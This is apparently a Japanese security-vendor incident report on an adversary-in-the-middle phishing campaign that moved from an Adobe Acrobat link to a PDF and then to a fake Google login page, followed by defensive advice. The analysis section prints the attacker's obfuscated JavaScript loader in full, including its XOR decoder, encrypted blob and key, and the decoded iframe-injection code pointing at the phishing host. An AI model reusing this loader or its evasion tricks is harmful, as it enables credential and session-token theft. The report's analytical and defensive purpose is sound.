攻撃の概要
2025年12月、Exaforceは、Adobe Acrobatリンクを使用したフィッシング攻撃の疑いが、お客様の従業員の1人の電子メールに送信されたという通知を受けました。このリンクから従業員は PDF ファイルにリダイレクトされ、さらにそのファイルがフィッシングサイトにリダイレクトされました。
フィッシングの試みとユーザーをフィッシングしたページを分析した結果、Adversary-in-the-Middle(敵対的攻撃)を使用してIDをフィッシングしようとする悪意の試みが判明しました。

メールから認証情報の盗難までの攻撃チェーン
アクターは、ターゲットのパートナー企業の1つから漏洩したIDを利用して、ターゲットの複数のユーザーにメールを送信しました。これにより、ターゲットがメールの発信元を疑うことがなくなります。
メールの内容から、対象ユーザーにアドビのリンクを送信したことがわかりましたが、リンクが大きすぎるため、リンクを使用してファイルを送信する必要があるという理由がありました。
こんにちは、添付ファイルでいくつかのドキュメントを送信しようとしましたが、ファイルが大きすぎるため、セキュリティ上の理由からアドビセキュアアップロードを使用して再送信する必要がありました
この時点で、被害者は既知の取引先から送られてきた正規のメールとみられるものを見ることができますが、侵害の兆候は明らかではありません。
悪意のある PDF のリンクは以下の形式です。
<https://acrobat.adobe.com/id/urn:aaid:sc:US:{ID redacted}>
<https://acrobat.adobe.com/id/urn:aaid:sc:US:{ID2 redacted}>リンクをクリックすると、被害者は下部にリンクが埋め込まれた1ページのPDFを見ます。

被害者は現在、アドビの公式インフラストラクチャを通じて安全な文書にアクセスしていると信じて、「安全な文書を表示」リンクをクリックしています。
このリンクは、ターゲットを認証ページにリダイレクトし、次に Google ログインページにリダイレクトします。

この偽の検証手順は、正規のボット検出サービスを模倣したもので、認証情報が盗まれる前に偽りの正当性がさらに高まります。
このページは、ウェブホスティングページとして設定された GCP ストレージバケットでホストされている offline_attachment.html ファイルでホストされています。

被害者はGoogleの本物のブランディングと使い慣れたログインインターフェースを見ることができますが、悪意のあるページにアクセスして認証情報をリアルタイムで傍受している兆候はありません。
ターゲットが資格情報を入力すると、ターゲットは403エラーメッセージを受け取り、ターゲットが共有ファイルにアクセスできなかったように見えます。

被害者は、アクセス拒否の原因は権限の問題であり、認証情報とセッショントークンが盗まれたことに気付かなかったためです。
この攻撃では、AiTM 手法を使用して電子メールの認証情報、パスワード、および MFA トークンが収集されました。攻撃者は、被害者と Google の正規のログインページとの間の認証リクエストをリアルタイムで傍受して中継します。これにより、攻撃者はアクティブなセッショントークンを取得して MFA 保護をバイパスできます。
攻撃の分解
ファイルの分析 offline_attachment.htmlこのコードには難読化された JavaScript コードが含まれており、変数 k に XOR で暗号化された blob があり、ページ読み込みコードとして機能していることがわかります。関数 r は変数を使用して復号を実行します。 h そして t XOR キーとして使用します。
const r = function(p, q) {
const z = atob(p);
let w = '';
for (let c = 0; c < z.length; c++) {
const b = z.charCodeAt(c);
const x = q.charCodeAt(c % q.length);
w += String.fromCharCode(b ^ x);
}
return w;
};
const k = "RVYURVhbFFgLUUAUCEYHDlFMWwANQU1bQVIHEVxzCFEPUldAHQcXDlARFAQ0bxphZAYKRxAfXz5CFxkUVAsTDVtfT0sQVA1cUVgeS1hSABxFVlVYWhFOElNUU0gMRwpfWllBTAI8RBRCF1hZRQoKB0sXRQQNUQFXSxkHAV0eQ1UOW1ZDGBIMER9XVxMKUgJMWlgIQhANbhRCFxlVWBYPCFRAGBYCWwdaXE9IBF1STBMDW1VbQksODlZYWhZEHFgyExdGRVhbFFgLUUAaRgcNBVBWTksCUQcQFFYKCVZBSUcBRVBEQRVESAkzFkVDFQJVQ1sPA0AYF1UMU1tbTUgCBVYREQQPWQxPHkcJFUxGFxkWWBRRRgUCEVcURQQNUQFXSxBPXjMWRBRCVlREWQ8FGBxKVwsHVwxAHVYCARERBVgOWE4ZUwkRDEEeH15pFUMYE1YLFVVfAk1MREtXFVtDAEZWVE1BVCtqERxBVVp+Qx9Feg94Ek1BGAsJFE4DbDRbUxwGEFtxBB9FW0tWEk1EUnhREU5EVDANFBxBU2BlQx8CAlNWVU1BUwJPFE5BVCV+ERxBImgGQx9FX3hiEk0DU3sKVk4DUSRyUxwGLnRuBB9FYk8THE0HWjgZFkVDVA5IX14AHBdFEE0OUhdXRhU3BEpNFlhDEhNXQF4SDFZYXhQEXkFRUV1DCFxKUxFZFVNISwxGElBSEFxYFwgEBUNYQVpcXwILQVkYAgdWQAIWBlsQU1xGD0ZTEUoCFggCRwRRXQ1GVUlOX0QDU11dWwFZQQJJTl5DWhVdQVEKCk4MRFwLU11RW11DGx9QWAEGTVkYCg5fXAAPXxNZPRkUFUYHDlFMWwANQU1PQV4SABFXCUQOXl9NHF1pQRIZFgEMVhZVVlkSS1tZAE1MXldaUBQrNX91FlhDF0EDORdGRRlSC1cXWlxaQUgBDlZAGAQTRQZWV3QODFVSTFUPR1VdUx9KWg==";
let h = "37fe96d4b794";
let t = "5fca296ec5c8";
let e = h + t;
>>> '37fe96d4b7945fca296ec5c8'
d = location.hash;
>>> ''変数 k を復号化すると、コードは Base64 でエンコードされた URL からコンテンツを読み込む iframe をページ上に動的に生成します。
>>> console.log(r(k, e));
var amplify = document.createElement(atob("aWZyYW1l")); // iframe
amplify.sandbox.add('allow-same-origin');
amplify.sandbox.add('allow-top-navigation');
amplify.sandbox.add('allow-modals');
amplify.sandbox.add('allow-scripts');
amplify.sandbox.add('allow-popups-to-escape-sandbox');
amplify.sandbox.add('allow-forms');
amplify.src = atob("aHR"+'0cH'+'M6L'+"y90"+`YWc`+`ubG`+'lrb'+'3Jh'+'aS5'+'6YS'+`5jb`+"20v"+"aFF"+'GQ0'+'hAV'+`2I3`+`dGJ`+`KMX`+'Uv')+d;
amplify.style.cssText = 'position: fixed; inset: 0px; width: 100%; height: 100%; border: 0px; margin: 0px;padding: 0px; overflow: hidden; z-index: 999999;';
document.write(amplify);
document.body.innerHTML = "";
document.body.appendChild(amplify);URL の値は `tag [.] likorai [.] za [.] com`、パスはその場で生成されます。
>>> atob("aHR"+'0cH'+'M6L'+"y90"+`YWc`+`ubG`+'lrb'+'3Jh'+'aS5'+'6YS'+`5jb`+"20v"+"aFF"+'GQ0'+'hAV'+`2I3`+`dGJ`+`KMX`+'Uv')
'<https://tag[.]likorai[.]za[.]com/hQFCH@Wb7tbJ1u/>'攻撃者の URL には、フィッシングページをトリガーする id パラメーターが含まれています。このパラメータがないと、サイトは検出されないようにランダムなおとりページを表示します。
URL: <https://tag[.]likorai[.]za[.]com/u38jnhm1lkqw6?id=><very long GUID>
Exaforce がどのように検出して対応したか
Exaforceのプラットフォームは、電子メールパターンと送信者評価の異常の行動分析を通じて、疑わしいAdobe Acrobatリンクを検出しました。調査の結果、最初のフィッシングメールから、難読化された JavaScript、GCP でホストされている認証情報収集インフラストラクチャに至るまで、攻撃チェーン全体が明らかになりました。

XOR で暗号化されたコードをリバースエンジニアリングすることで、悪質なドメインとホスティングインフラストラクチャを特定しました。この分析により、同様のフィッシングメールを受け取った従業員をさらに3人発見できたため、攻撃が組織内にさらに広がる前に迅速に封じ込めることができました。
保護戦略
組織は、次のような対策を講じることで、このようなAiTMフィッシング攻撃から身を守ることができます。
- 認証ログを監視して、通常とは異なるログイン場所、不可能な移動パターン、認証イベント後の迅速なセッション確立などの異常がないか確認します。侵害された可能性があるアカウントのアクティブなセッションをすべて即時に取り消し、盗まれたセッショントークンを無効にします。
- メッセージコンテンツの分析、添付ファイルからのURLの抽出、送信者の行動やコンテンツ特性の疑わしいパターンの特定に必要な権限を電子メールセキュリティプラットフォームに設定します。
- デバイスのコンプライアンス、ネットワークの場所、リスクシグナルに基づいて認証を制限する条件付きアクセスポリシーを実装することで、攻撃者が認証情報を盗むことに成功した場合でも、盗まれた認証情報の有効性を制限できます。
- 宛先ドメインを暗号化して検証し、リアルタイムの中間者攻撃によって傍受されないようにするハードウェアセキュリティキー(FIDO2/WebAuthN)などのフィッシングに強い認証方法を導入してください。
フィッシング詐欺の教訓
この攻撃は、盗まれた認証情報から保護するMFAの限界を明らかにしますが、攻撃者が認証フロー全体をリアルタイムで傍受すると失敗します。攻撃者は、被害者と Google の正規のログインページの間に身を置くことで、パスワードが変更されても永続的にアクセスできるパスワード、MFA コード、アクティブなセッショントークンを取得できます。アドビとGoogle Cloud Platformの信頼できるインフラストラクチャを使用したことで、攻撃はユーザーの認識と従来のセキュリティ制御の両方を迂回することができました。
組織は、従来のMFAではAiTM攻撃に対して不十分であることを認識し、フィッシングに強い認証方法に移行する必要があります。これらの防御手段を行動分析や迅速なインシデント対応機能と組み合わせることで、他のアカウントが侵害される前に高度なフィッシングキャンペーンを検出して封じ込めることができます。






